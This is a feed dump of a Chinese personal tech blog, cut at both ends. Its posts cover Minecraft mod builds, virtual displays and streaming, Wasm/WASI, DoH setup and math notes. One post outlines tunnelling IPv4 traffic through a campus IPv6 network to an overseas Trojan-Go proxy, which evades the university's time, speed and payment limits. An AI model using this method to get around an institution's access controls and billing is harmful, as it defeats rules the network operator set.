&lt;p&gt;搭建开发环境的 Gradle 插件有很多，选择适合 Minecraft 版本和 Mod Loader 的即可。但其实这些插件，包括 Gradle 本身都不太好用就是了（）。ForgeGradle 槽点太多，到了古早版本里都不一定跑的起来。Fabric Loom 及其支持 Forge 的分支 Architectury Loom 非常好用，在1.16.5+可以爽用。NeoForge 的新工具 ModDevGradle 更好用，可惜现在只支持1.20以上。&lt;/p&gt;
&lt;p&gt;我用的是&lt;a href=&quot;https://github.com/unimined/unimined&quot;&gt;Unimined&lt;/a&gt;，它对任意 Minecraft 版本和任意 Mod Loader 保持同一个接口，迁移构建脚本非常方便。&lt;/p&gt;
&lt;p&gt;为了搞清楚这些插件在开发环境下运行 Minecraft 到底传了什么参数，在 Windows 上可以用&lt;code&gt;wmic process get caption,commandline /value&lt;/code&gt;来查看。&lt;/p&gt;
&lt;h3&gt;Mixin (Especially in MinecraftForge)&lt;/h3&gt;
&lt;p&gt;对于1.16+，Forge 是自带 Mixin 的。一个正确的构建脚本应当（假设 Mixin 配置文件命名为&lt;code&gt;modid.mixins.json&lt;/code&gt;）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;开发环境下给游戏启动的参数添加&lt;code&gt;--mixin modid.mixins.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;打包时在Jar包的Manifest中添加&lt;code&gt;MixinConfigs: modid.mixins.json&lt;/code&gt;，生成refmap并为&lt;code&gt;modid.mixins.json&lt;/code&gt;添加&lt;code&gt;refmap&lt;/code&gt;字段&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而对于 LaunchWrapper 时代的1.7.10、1.12.2，Mixin 需要引导，选一个引导模组即可（自己引导也行）。我认为合适的选择是在1.7.10使用&lt;a href=&quot;https://github.com/LegacyModdingMC/UniMixins&quot;&gt;UniMixins&lt;/a&gt;，在1.12.2使用&lt;a href=&quot;https://github.com/CleanroomMC/MixinBooter&quot;&gt;MixinBooter&lt;/a&gt;。一个正确的构建脚本应当（假设 Mixin 配置文件命名为&lt;code&gt;modid.mixins.json&lt;/code&gt;）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;开发环境下给 JVM 启动参数添加&lt;code&gt;-Dfml.coreMods.load=zone.rong.mixinbooter.MixinBooterPlugin&lt;/code&gt;（等号右侧为引导模组，此处以 MixinBooter 为例。UniMixins 为&lt;code&gt;io.github.legacymoddingmc.unimixins.all.AllCore&lt;/code&gt;），给游戏启动的参数添加&lt;code&gt;--tweakClass org.spongepowered.asm.launch.MixinTweaker --mixin modid.mixins.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;打包时在Jar包的Manifest中添加&lt;code&gt;FMLCorePluginContainsFMLMod: true&lt;/code&gt;、&lt;code&gt;TweakClass: org.spongepowered.asm.launch.MixinTweaker&lt;/code&gt;、&lt;code&gt;ForceLoadAsMod: true&lt;/code&gt;和&lt;code&gt;MixinConfigs: modid.mixins.json&lt;/code&gt;，生成refmap并为&lt;code&gt;modid.mixins.json&lt;/code&gt;添加&lt;code&gt;refmap&lt;/code&gt;字段&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;调用核心模块的几个问题&lt;/h3&gt;
&lt;h4&gt;Forge 下开发模式运行的加载问题&lt;/h4&gt;
&lt;p&gt;没错，Forge 又干了。核心模块是一个普通的、非 Mod 的依赖，如果仅仅添加一个&lt;code&gt;implementation&lt;/code&gt;声明依赖的话，在开发环境下运行就会喜提&lt;code&gt;ClassNotFoundException/NoClassDefFoundError&lt;/code&gt;。对于使用 ForgeGradle 来说，这点在文档中有提及，需要同时将依赖添加到一个叫&lt;code&gt;minecraftLibrary&lt;/code&gt;的 Configuration 中。对于其他 Gradle 插件，可能有不同的名字，不过只要大概知道原理就不难找到。我的理解，不一定对：FML 作为一个体面的加载器，用来加载 Mod 的 ClassLoader 没有父母，其行为大致是在 classpath 下找存在 mods.toml 的模块（也就被认为是 Mod）并加载，而不会直接去找 classpath 下的类，这导致非 Mod 依赖的类无法被找到。不过它提供了一个后门，传入参数&lt;code&gt;-DlegacyClassPath.file=xxx.txt&lt;/code&gt;时，会对&lt;code&gt;xxx.txt&lt;/code&gt;里的路径用传统的加载方式加载。&lt;/p&gt;
&lt;p&gt;顺带一提，1.17以后（Minecraft 终于不用 Java 8 了） Forge 会把模组 Jar 包当作 Java 的 Module 来加载，对于没有 &lt;code&gt;module-info.class&lt;/code&gt; 的情况，会把除了META-INF下以外的&lt;code&gt;*.class&lt;/code&gt;都算进来，如果用其他 JVM 语言要小心包名不是 Java 合法标识符问题（比如包名里有个&lt;code&gt;char&lt;/code&gt;之类。我就是这么发现的）&lt;/p&gt;
&lt;h4&gt;依赖问题&lt;/h4&gt;
&lt;p&gt;用着最新版本的依赖，但可能要和用远古版本依赖的旧版 Minecraft 跑在同一个 JVM 上，直接加载的话，ABI 就对不上了（对于我这里的情况，就是 Scala 标准库和 netty）。（实测1.20.1的 netty 还是裁剪过的，即使版本对上了也会 &lt;code&gt;ClassNotFoundException&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;同时，引入别的依赖不应影响 Mod 加载的环境，比如可能出现的和别的 Mod 依赖冲突。&lt;/p&gt;
&lt;h4&gt;解决方案&lt;/h4&gt;
&lt;p&gt;最直接的解决方案，对第一个问题就是修改 &lt;code&gt;legacyClassPath&lt;/code&gt;，对第二问题就是 shade 和 relocating。实际上坑很多。&lt;/p&gt;
&lt;p&gt;最简单也是完美解决的方案是自定义 ClassLoader。&lt;/p&gt;
&lt;p&gt;把整个项目分成四部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;core&lt;/code&gt;: 核心模块。可能依赖除了 Minecraft 的类以外的任何东西&lt;/li&gt;
&lt;li&gt;&lt;code&gt;impl&lt;/code&gt;: 依赖当前 Minecraft 和 &lt;code&gt;common&lt;/code&gt;，引用并包含核心模块的全部（打包时也 shade 进来），实现其接口，调用之。对外仅提供一个无参静态入口点&lt;/li&gt;
&lt;li&gt;&lt;code&gt;main&lt;/code&gt;: Mod Loader 决定的真正的 Mod 入口点。实现自定义 ClassLoader，加载&lt;code&gt;impl&lt;/code&gt;，反射调用其入口点&lt;/li&gt;
&lt;li&gt;&lt;code&gt;common&lt;/code&gt;: 和&lt;code&gt;main&lt;/code&gt;放在一起（都由 Mod Loader 加载），被&lt;code&gt;main&lt;/code&gt;和&lt;code&gt;impl&lt;/code&gt;共同依赖，用来方便&lt;code&gt;main&lt;/code&gt;和&lt;code&gt;impl&lt;/code&gt;的联系。自己用 Mixin 实现的东西会放在这里。和&lt;code&gt;main&lt;/code&gt;分开是为了防止&lt;code&gt;impl&lt;/code&gt;和&lt;code&gt;main&lt;/code&gt;循环依赖&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Hell&lt;/h2&gt;
&lt;p&gt;模块化，抽出核心模块和各版本的具体实现，这个想法非常简单，相应代码实现起来也很简单，但是想把这些部分和 Minecraft 组合在一起可以说是 painful。不过想明白自己的 class 的 load 就该由自己来掌控之后，就是走上正路了。不过把语言标准库、一些基础库网络库都塞进 Mod 里后我的 Mod 达到了惊人的约 30MiB，对于一个功能简单的 Mod 来说真是大的有点异常了，甚至 proguard 都救不了多少。不过想想一个单文件的 JVM 上的 Web server, 有这点大小不过分吧（或许该试试 JNI 并用 Native 语言写核心了&lt;/p&gt;
</content:encoded></item><item><title>spacedesk的完美替代方案</title><link>https://idkidknow.com/posts/spacedesk%E7%9A%84%E5%AE%8C%E7%BE%8E%E6%9B%BF%E4%BB%A3%E6%96%B9%E6%A1%88/</link><guid isPermaLink="true">https://idkidknow.com/posts/spacedesk%E7%9A%84%E5%AE%8C%E7%BE%8E%E6%9B%BF%E4%BB%A3%E6%96%B9%E6%A1%88/</guid><description>简而言之，虚拟显示器+串流</description><pubDate>Mon, 16 Sep 2024 03:48:48 GMT</pubDate><content:encoded>&lt;p&gt;spacedesk所解决的需求是将各类闲置设备的屏幕当作PC额外的显示器。这实际上是两个独立功能的组合：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;虚拟显示器：一个驱动，欺骗系统有个显示器&lt;/li&gt;
&lt;li&gt;串流：捕获虚拟显示器上的画面，串流到别的设备上&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;谷歌检索后发现，这两样东西对于游戏串流工具（比如Parsec）的用户来说早就熟识了。&lt;/p&gt;
&lt;p&gt;前段时间Parsec被墙了，当然这不是什么大障碍，不过如今也有更好的方案了。&lt;/p&gt;
&lt;p&gt;虚拟显示器驱动这部分可选项相当多，我选了一个Rust写的：&lt;a href=&quot;https://github.com/MolotovCherry/virtual-display-rs&quot;&gt;virtual-display-rs&lt;/a&gt;，简单易配置，功能完备。&lt;/p&gt;
&lt;p&gt;串流这部分，选择&lt;a href=&quot;https://moonlight-stream.org/&quot;&gt;Moonlight&lt;/a&gt;+&lt;a href=&quot;https://github.com/LizardByte/Sunshine&quot;&gt;Sunshine&lt;/a&gt;组合。局域网下延迟低的恐怖，不玩音游的话体感就是0延迟。&lt;/p&gt;
&lt;p&gt;由于实际需求是扩展屏幕，而所用的串流工具是为远程游玩游戏设计的，因此需要微调一些设置。&lt;/p&gt;
&lt;p&gt;在Moonlight客户端将视频分辨率设置为本地。既然是扩展屏幕，分辨率完全一致才是好的，至少比例得一致（况且我用来扩展屏幕的板子是16:10这种异端比例）。输入设置什么的不管，毕竟我只是扩展屏幕不是想远程串流游戏。&lt;/p&gt;
&lt;p&gt;Sunshine默认会捕获主显示器，可以在配置里改成虚拟显示器，Output Name可以用Sunshine安装目录下&lt;code&gt;tools/dxgi-info.exe&lt;/code&gt;工具获得。&lt;/p&gt;
&lt;p&gt;Sunshine默认会锁定主机的默认音频输出设备，如果有装Steam就是锁定了Steam Streaming Speakers，这会导致主机被静音，只能从客户端接收音频。对于游戏串流来说，这是合理的，对于扩展屏幕的需求来说就是倒反天罡了。在Sunshine配置里把虚拟音频输出设备设置为一个不存在的设备名称即可禁止该行为。（如果不用Sunshine而是GeForce Experience的话，也有这一行为，但是对此无可奈何）&lt;/p&gt;
</content:encoded></item><item><title>尝试Wasm和WASI</title><link>https://idkidknow.com/posts/%E5%B0%9D%E8%AF%95wasm%E5%92%8Cwasi/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E5%B0%9D%E8%AF%95wasm%E5%92%8Cwasi/</guid><description>WebAssembly不是一个局限在Web的东西，Wasm的目标就是使自己成为各个语言的编译目标。仿佛就像GraalVM？在Web以外，WA...</description><pubDate>Sat, 10 Jun 2023 16:10:58 GMT</pubDate><content:encoded>&lt;p&gt;WebAssembly不是一个局限在Web的东西，Wasm的目标就是使自己成为各个语言的编译目标。仿佛就像GraalVM？在Web以外，WASI使Wasm拥有和操作系统交互的能力，并且是沙盒化的。纯Wasm运行时通常很轻量级，容易想到一个合适的应用场景，即用于编写跨平台软件的可热插拔的插件。这种插件常见的做法是使用Lua或其他脚本，在软件中加入其解释器。而如果使用Wasm运行时+WASI，插件开发者可以自己选择语言编译到Wasm，同时由于沙盒的存在，插件安全性有保证。&lt;/p&gt;
&lt;p&gt;尝试一下Wasm+WASI。先使Rust能编译到&lt;code&gt;wasm32-wasi&lt;/code&gt;目标：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rustup target add wasm32-wasi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wasm相关的还有另外两个目标，&lt;code&gt;wasm32-unknown-unknown&lt;/code&gt;和&lt;code&gt;wasm32-unknown-emscripten&lt;/code&gt;，前者用于Web，自身不能做IO等与操作系统交互的功能。&lt;/p&gt;
&lt;h2&gt;Hello World&lt;/h2&gt;
&lt;p&gt;新建一个Rust项目，写一个Hello World测试标准输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fn main() {
    println!(&quot;Hello, world!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译时指定target，用&lt;code&gt;cargo build --target=wasm32-wasi&lt;/code&gt;，然后就能在&lt;code&gt;target/wasm32-wasi/debug&lt;/code&gt;目录下找到&lt;code&gt;xxx.wasm&lt;/code&gt;，&lt;code&gt;xxx&lt;/code&gt;为项目名。&lt;/p&gt;
&lt;p&gt;我这里用&lt;a href=&quot;https://github.com/wasmerio/wasmer&quot;&gt;Wasmer&lt;/a&gt;作运行时，用其CLI直接执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wasmer run xxx.wasm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;code&gt;Hello, world!&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;文件系统、IO&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;use std::{fs::File, io::Write};

fn main() {
    let mut f = File::create(&quot;/1.txt&quot;).unwrap();
    let s = &quot;Hello, world!&quot;;
    f.write_all(s.as_bytes()).unwrap();
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里打开的是&lt;code&gt;/&lt;/code&gt;下的文件，但是如果这样运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wasmer run --mapdir /:./ xxx.wasm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里把VM的&lt;code&gt;/&lt;/code&gt;映射到主机的&lt;code&gt;./&lt;/code&gt;。于是可以在当前目录下看到&lt;code&gt;1.txt&lt;/code&gt;，&lt;code&gt;cat&lt;/code&gt;之得到&lt;code&gt;Hello world!&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;网络&lt;/h2&gt;
&lt;p&gt;对不起还没有，老老实实自行import function进去吧。&lt;/p&gt;
</content:encoded></item><item><title>叛逆：横屏玩sdvx</title><link>https://idkidknow.com/posts/%E5%8F%9B%E9%80%86%E6%A8%AA%E5%B1%8F%E7%8E%A9sdvx/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E5%8F%9B%E9%80%86%E6%A8%AA%E5%B1%8F%E7%8E%A9sdvx/</guid><description>整一个虚拟显示器驱动 usbmmidd 按链接内所述安装。 要玩的时候，先激活虚拟显示器：deviceinstaller64 enablei...</description><pubDate>Thu, 23 Mar 2023 00:16:46 GMT</pubDate><content:encoded>&lt;p&gt;整一个虚拟显示器驱动 &lt;a href=&quot;https://www.amyuni.com/forum/viewtopic.php?t=3030&quot;&gt;usbmmidd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;按链接内所述安装。&lt;/p&gt;
&lt;p&gt;要玩的时候，先激活虚拟显示器：&lt;code&gt;deviceinstaller64 enableidd 1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;显示设置里把这块虚拟显示器的分辨率设好，比如1080*1920。
然后开游戏，用 Win+Shift+Right(Left, Up, Down) 把窗口移到虚拟显示器。
虽然虚拟显示器是假的，看不见，但是 OBS 可以。打开 OBS，添加窗口采集或者显示器采集，缩放成合适的大小，然后右键全屏预览（在主显示器上）。&lt;/p&gt;
&lt;p&gt;楽しみましょう。&lt;/p&gt;
&lt;p&gt;这一招也可以用来对付窗口很小又没法调的游戏，比如较早的车万。毕竟 OBS 是真的能随便拖动缩放。&lt;/p&gt;
</content:encoded></item><item><title>曲线积分的长度元素和曲面积分的面积元素的一种统一的形式</title><link>https://idkidknow.com/posts/%E6%9B%B2%E7%BA%BF%E7%A7%AF%E5%88%86%E7%9A%84%E9%95%BF%E5%BA%A6%E5%85%83%E7%B4%A0%E5%92%8C%E6%9B%B2%E9%9D%A2%E7%A7%AF%E5%88%86%E7%9A%84%E9%9D%A2%E7%A7%AF%E5%85%83%E7%B4%A0%E7%9A%84%E4%B8%80%E7%A7%8D%E7%BB%9F%E4%B8%80%E7%9A%84%E5%BD%A2%E5%BC%8F/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E6%9B%B2%E7%BA%BF%E7%A7%AF%E5%88%86%E7%9A%84%E9%95%BF%E5%BA%A6%E5%85%83%E7%B4%A0%E5%92%8C%E6%9B%B2%E9%9D%A2%E7%A7%AF%E5%88%86%E7%9A%84%E9%9D%A2%E7%A7%AF%E5%85%83%E7%B4%A0%E7%9A%84%E4%B8%80%E7%A7%8D%E7%BB%9F%E4%B8%80%E7%9A%84%E5%BD%A2%E5%BC%8F/</guid><description>n重积分换元时，只需引入一个雅克比行列式，而若想把曲线积分和曲面积分写成其参数的积分，雅克比矩阵就不是方阵了。但是他左乘自己的转置是，且乘积的行列式开方有几何意义。</description><pubDate>Sat, 19 Nov 2022 15:15:09 GMT</pubDate><content:encoded>&lt;p&gt;对一个 $m\times n$ 实矩阵 $A$：&lt;/p&gt;
&lt;p&gt;若 $m=n$，则&lt;/p&gt;
&lt;p&gt;$$\textstyle \sqrt{\det(A^\mathrm{T}A)}=\lvert\det A\rvert$$&lt;/p&gt;
&lt;p&gt;$\sqrt{\det(A^\mathrm{T}A)}$
可视为相应 $\R^n\rightarrow \R^n$ 线性变换的 $n$ 维测度缩放因子。&lt;/p&gt;
&lt;p&gt;若 $m&amp;lt;n$，显然 $\sqrt{\det(A^\mathrm{T}A)}=0$。&lt;/p&gt;
&lt;p&gt;若 $m&amp;gt;n$，做奇异值分解 $A=U\Sigma V^\mathrm{T}$，则&lt;/p&gt;
&lt;p&gt;$$\sqrt{\det(A^\mathrm{T}A)}=\sqrt{\det(V\Sigma^\mathrm{T}\Sigma V^\mathrm{T})}=\left\lvert\det(\Sigma^\mathrm{T}\Sigma)\right\rvert$$&lt;/p&gt;
&lt;p&gt;若 $A$ 列满秩，则 $\sqrt{\det(A^\mathrm{T}A)}$ 即奇异值之积的绝对值，可视为相应 $\mathbb{R}^n\rightarrow \mathbb{R}^m$ 线性变换的 $n$ 维测度缩放因子。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;对一曲线 $t\mapsto(x,y)$，雅克比矩阵为 $J=\begin{bmatrix}x&apos;\y&apos;\end{bmatrix}$，按上文的想法，有&lt;/p&gt;
&lt;p&gt;$$\textstyle \dd s=\sqrt{\det(J^\mathrm{T}J)},\dd t=\sqrt{x&apos;^2+y&apos;^2},\dd t$$&lt;/p&gt;
&lt;p&gt;这时来看曲面积分的面积元素 $\dd S$，曲面为 $(u,v)\mapsto(x,y,z)$，雅克比矩阵为 $J$，
同样可写作&lt;/p&gt;
&lt;p&gt;$$\dd S=\sqrt{\det(J^\mathrm{T}J)},\dd u\dd v$$&lt;/p&gt;
</content:encoded></item><item><title>用IPv6的路扛起IPv4的包，校园网再无时间和速度限制</title><link>https://idkidknow.com/posts/%E7%94%A8ipv6%E7%9A%84%E8%B7%AF%E6%89%9B%E8%B5%B7ipv4%E7%9A%84%E5%8C%85%E6%A0%A1%E5%9B%AD%E7%BD%91%E5%86%8D%E6%97%A0%E6%97%B6%E9%97%B4%E5%92%8C%E9%80%9F%E5%BA%A6%E9%99%90%E5%88%B6/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E7%94%A8ipv6%E7%9A%84%E8%B7%AF%E6%89%9B%E8%B5%B7ipv4%E7%9A%84%E5%8C%85%E6%A0%A1%E5%9B%AD%E7%BD%91%E5%86%8D%E6%97%A0%E6%97%B6%E9%97%B4%E5%92%8C%E9%80%9F%E5%BA%A6%E9%99%90%E5%88%B6/</guid><description>校园网很烂，低速、不稳定，但尚能拯救。</description><pubDate>Tue, 20 Sep 2022 16:20:12 GMT</pubDate><content:encoded>&lt;p&gt;华工的校园网很烂。无线AP 间歇性断连，限速在 10Mbps. 有线网采用 drcom 认证，提供的客户端稳定性堪忧，限速在 20Mbps. 在工作日的 00:07 断网。&lt;/p&gt;
&lt;p&gt;然而这些限制都是对于 IPv4 数据包而言的。&lt;/p&gt;
&lt;p&gt;无线网不分配 IPv6 地址。有线网只需插上线就能分配到 IPv6 地址（然而没有 PD），IPv6 访问不需要 drcom 认证（甚至不用交钱。但是应当交钱）。有百兆，夜间不断网。&lt;/p&gt;
&lt;h1&gt;OpenWRT, drcom, NAT6&lt;/h1&gt;
&lt;p&gt;学校的客户端是不可能去用的，据说比无线网还不稳，还要在电脑上开一块虚拟网卡，和我的某科学软件的 TUN 模式八字不合。还有几个移动设备也万万不可连学校的无线AP, 也不能依靠电脑开热点，原因在于电脑不能保持开机状态，耗电过高。&lt;/p&gt;
&lt;p&gt;于是买路由器，刷 OpenWRT, 在万能的 GitHub 上找到用于认证校园网的&lt;a href=&quot;https://github.com/scutclient/scutclient&quot;&gt;轮子&lt;/a&gt;，编译、安装、配置之，以上问题全部解决。&lt;/p&gt;
&lt;p&gt;然而校园网给的 IPv6 地址只有在路由器上有了，没有 PD. 路由器下其他设备走不了 IPv6. 尝试 Relay 模式未能成功，除了路由器发出的 IPv6 包必被 DROP. 只能配置 NAT6, 配置方式参考了&lt;a href=&quot;https://openwrt.org/docs/guide-user/network/ipv6/ipv6.nat6&quot;&gt;文档&lt;/a&gt;。&lt;/p&gt;
&lt;h1&gt;建立代理服务器&lt;/h1&gt;
&lt;p&gt;目标是客户端通过 IPv6 访问服务器并代理 IPv4 包。服务器地址选在境外，这样能顺便实现科学功能。服务器本身甚至不需要有 IPv6 地址，只需要套上 Cloudflare 并启用其 Pseudo IPv4 功能（提供 IPv6 到 IPv4 的翻译服务）。&lt;/p&gt;
&lt;p&gt;就防止被墙的要求来说，我选择配置 Trojan-Go. 配置方式参考&lt;a href=&quot;https://p4gefau1t.github.io/trojan-go/advance/websocket/&quot;&gt;文档&lt;/a&gt;，非常详细。为使用 Cloudflare, 配置“使用Websocket进行CDN转发和抵抗中间人攻击”。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;好了，1个月花两顿饭钱，又能科学上网又能半夜上网。这下入睡时间越来越阴间了。&lt;/p&gt;
</content:encoded></item><item><title>Windows11下DNS污染的极简高效解决方案</title><link>https://idkidknow.com/posts/windows11%E4%B8%8Bdns%E6%B1%A1%E6%9F%93%E7%9A%84%E6%9E%81%E7%AE%80%E9%AB%98%E6%95%88%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/</link><guid isPermaLink="true">https://idkidknow.com/posts/windows11%E4%B8%8Bdns%E6%B1%A1%E6%9F%93%E7%9A%84%E6%9E%81%E7%AE%80%E9%AB%98%E6%95%88%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/</guid><description>Windows 11 支持系统级 DoH。直接配置好就几乎彻底解决了 DNS 污染问题。 第一步 以管理员身份打开命令行。下面以阿里 DNS...</description><pubDate>Fri, 17 Jun 2022 14:04:01 GMT</pubDate><content:encoded>&lt;p&gt;Windows 11 支持系统级 DoH。直接配置好就几乎彻底解决了 DNS 污染问题。&lt;/p&gt;
&lt;h2&gt;第一步&lt;/h2&gt;
&lt;p&gt;以管理员身份打开命令行。下面以阿里 DNS 为例，键入以下内容回车：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netsh dnsclient add encryption server=223.5.5.5 dohtemplate=https://dns.alidns.com/dns-query autoupgrade=yes udpfallback=no
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对不同的 DNS，替换 223.5.5.5 和 https://dns.alidns.com/dns-query 即可。&lt;/p&gt;
&lt;h2&gt;第二步&lt;/h2&gt;
&lt;p&gt;打开 Windows 11 的设置→网络和 Internet →高级网络设置，选择所使用的网络适配器，选择查看其他属性，编辑 DNS 服务器设置，填写第一步中所使用的 DNS 服务器，则下方 DNS 加密选项变为可选，选择仅加密，便完成了 DoH 配置。&lt;/p&gt;
&lt;h2&gt;杂项&lt;/h2&gt;
&lt;p&gt;因为是设置了系统级的 DoH，对于一些需要网页验证来接入的网络（我的校园网就是如此），若验证页面使用的是域名，就会陷入死循环。如果该域名解析得的 IP 相对稳定，可以考虑写入 hosts 文件解决。一般情况下，可以切回无加密 DNS，验证完毕后再改成加密 DNS，但这种解决方法较为繁琐。&lt;/p&gt;
</content:encoded></item><item><title>一类灵感来自稻妻解谜的谜题的通用解法</title><link>https://idkidknow.com/posts/%E4%B8%80%E7%B1%BB%E7%81%B5%E6%84%9F%E6%9D%A5%E8%87%AA%E7%A8%BB%E5%A6%BB%E8%A7%A3%E8%B0%9C%E7%9A%84%E8%B0%9C%E9%A2%98%E7%9A%84%E9%80%9A%E7%94%A8%E8%A7%A3%E6%B3%95/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E4%B8%80%E7%B1%BB%E7%81%B5%E6%84%9F%E6%9D%A5%E8%87%AA%E7%A8%BB%E5%A6%BB%E8%A7%A3%E8%B0%9C%E7%9A%84%E8%B0%9C%E9%A2%98%E7%9A%84%E9%80%9A%E7%94%A8%E8%A7%A3%E6%B3%95/</guid><description>数学不比你原神好玩？</description><pubDate>Mon, 14 Feb 2022 01:47:25 GMT</pubDate><content:encoded>&lt;h2&gt;经过抽象并推广的谜题模型&lt;/h2&gt;
&lt;h3&gt;谜题&lt;/h3&gt;
&lt;p&gt;$a_1,a_2,\dots,a_n$ 是整数变量（模 $m$ 剩余类）。$P_1,P_2,\dots,P_k$ 为 $k$ 个操作，操作 $P_i$ 使 $a_1,a_2,\dots,a_n$数值分别增加 $P_{i1},P_{i2},\dots,P_{in}$。$(i=1,2,\dots,k)$ （模 $m$ 意义下）&lt;/p&gt;
&lt;p&gt;给定 $a_1,a_2,\dots,a_n$ 的初始值，试求有限的操作序列使 $a_1,a_2,\dots,a_n$ 变为同一个数。（模 $m$ 意义下）&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;由加法交换律，操作的顺序并不影响结果。设 $P_1,P_2,\dots,P_k$ 分别进行了 $x_1,x_2,\dots,x_k$ 次，则 $a_1,a_2,\dots,a_n$ 变为 $a_1+x_1P_{11}+x_2P_{21}+\cdots+x_kP_{k1}$, $a_2+x_1P_{12}+x_2P_{22}+\cdots+x_kP_{k2}$, $\dots,a_n+x_1P_{1n}+x_2P_{2n}+\cdots+x_kP_{kn}$，即&lt;/p&gt;
&lt;p&gt;$$S&apos;=S+PX$$&lt;/p&gt;
&lt;p&gt;其中
$S&apos;=\begin{bmatrix}
a_1&apos;
\a_2&apos;
\\vdots
\a_n&apos;
\end{bmatrix},$
$S=\begin{bmatrix}
a_1
\a_2
\\vdots
\a_n
\end{bmatrix},$
$X=\begin{bmatrix}
x_1
\x_2
\\vdots
\x_n
\end{bmatrix}$，
不妨将操作 $P_i$ 记为向量
$\begin{bmatrix}
P_{i1}
\P_{i2}
\\vdots
\P_{in}
\end{bmatrix}$
则 $P=\begin{bmatrix}P_1&amp;amp;P_2&amp;amp;\cdots&amp;amp;P_k\end{bmatrix}$&lt;/p&gt;
&lt;p&gt;变形得到&lt;/p&gt;
&lt;p&gt;$$PX=S&apos;-S$$&lt;/p&gt;
&lt;p&gt;这是一个模 $m$ 意义下的线性方程组。我们只要给出一个解就解决了问题。&lt;/p&gt;
&lt;p&gt;如果 $m$ 为质数，则除 $[0]$ 以外都有数论倒数。任取符合要求（即所有数相等）的 $S&apos;$，使用高斯消元法即可解决问题。&lt;/p&gt;
&lt;p&gt;$m$ 为质数的幂时，设 $m=p^t$，作高斯消元法，当进行到某一列时，若对角线元素无数论倒数（即有因子 $p$），则在下方将被消除的元素中找到与 $p$ 互质的元素，两者所在两行交换，便可正常进行消元。若所有将被消除
的元素中均是 $p$ 的倍数，则选取因子 $p$ 的次数最小的元素与原来的对角线元素所在两行对换，消元可正常进行。&lt;/p&gt;
&lt;p&gt;$m$ 为一般合数时，分解为不同质数的幂相乘的形式，分别改写成模不同质数的幂的线性方程组的形式并解之，最后用中国剩余定理合并解即可。&lt;/p&gt;
&lt;p&gt;$m$ 不为质数的情况任选 $S&apos;$ 可能无解，因此需要枚举 $O(m)$ 个 $S&apos;$ 来寻找解。若 $m$ 较大，计算上建议记录高斯消元法的步骤（表示为左乘原系数矩阵的矩阵）。&lt;/p&gt;
&lt;h2&gt;应用于原神解谜&lt;/h2&gt;
&lt;p&gt;原神中相关谜题之于上述模型是特例中的特例，虽然简单但也正是这些谜题引出了上述问题与思考。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E4%B8%80%E7%B1%BB%E7%81%B5%E6%84%9F%E6%9D%A5%E8%87%AA%E7%A8%BB%E5%A6%BB%E8%A7%A3%E8%B0%9C%E7%9A%84%E8%B0%9C%E9%A2%98%E7%9A%84%E9%80%9A%E7%94%A8%E8%A7%A3%E6%B3%95/1.png&quot; alt=&quot;解谜&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如图谜题，即对其中某一方块，攻击之可改变自己和其余方块上的数字（以模$3$加法的形式），原神中应该都具体为自己和相邻方块数字+1。解密目标为通过一连串攻击操作使所有方块数字相同。&lt;/p&gt;
&lt;p&gt;游戏内另有一类解密与此方块相同，但攻击是改变朝向，目标为所有方块朝向一致，与上述数字型解密内核相同。数字型是模 $3$，朝向型是模 $4$，即 $m=3$ 或 $4$。&lt;/p&gt;
&lt;p&gt;对于有 $n$ 个方块的谜题，$n$ 个方块上现有的数字即为 $S$。$n$ 个方块正对应 $n$ 个操作，可按照操作的影响写出矩阵 $P$。解方程组得到答案。&lt;/p&gt;
&lt;p&gt;以图中谜题为例，
$P=\begin{bmatrix}
1&amp;amp;1&amp;amp;0&amp;amp;0&amp;amp;0
\1&amp;amp;1&amp;amp;1&amp;amp;0&amp;amp;0
\0&amp;amp;1&amp;amp;1&amp;amp;1&amp;amp;0
\0&amp;amp;0&amp;amp;1&amp;amp;1&amp;amp;1
\0&amp;amp;0&amp;amp;0&amp;amp;1&amp;amp;1
\end{bmatrix},$
$S=\begin{bmatrix}
1
\1
\2
\1
\1
\end{bmatrix}$
，此处模数$3$为质数，故 $S&apos;$ 可任取，这里取
$S&apos;=\begin{bmatrix}
0
\0
\0
\0
\0
\end{bmatrix}$。&lt;/p&gt;
&lt;p&gt;得到方程
$\begin{bmatrix}
1&amp;amp;1&amp;amp;0&amp;amp;0&amp;amp;0
